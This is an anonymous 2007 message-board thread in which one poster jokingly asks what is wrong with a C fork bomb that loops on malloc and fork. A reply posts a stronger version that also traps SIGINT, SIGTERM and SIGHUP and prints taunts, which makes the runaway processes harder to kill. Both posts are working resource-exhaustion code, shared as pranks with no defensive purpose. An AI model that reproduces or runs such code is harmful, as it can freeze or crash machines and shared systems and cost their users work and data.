Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon. Entire thread

Can someone tell me whats wrong with my code

Name: Anonymous 2007-12-28 21:10

#include <stdlib.h>
#include <unistd.h>
int main()
{
    while(1)
    {
       malloc(1048576);
       fork();
    }
}


TYI

Name: Anonymous 2007-12-29 19:15

Funny. I happened to code a similiar one few days ago. Just more effective.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>

void catcher(int sig);

int main(void) {
  signal(SIGHUP, catcher);
  signal(SIGINT, catcher);
  signal(SIGTERM, catcher);

  while(1) {
    malloc(4194304);
    fork();
  }
  return 1;
}

void catcher(int sig) {
  switch(sig) {
  case SIGINT:
    signal(SIGINT, catcher);
    printf("Uh-huh");
    break;

  case SIGHUP:
    signal(SIGHUP, catcher);
    printf(":)");
    break;

  case SIGTERM:
    signal(SIGTERM, catcher);
    printf("Annoying, isn't it..? :)");
    break;
  }
}

Newer Posts
Don't change these.
Name: Email:
Entire Thread Thread List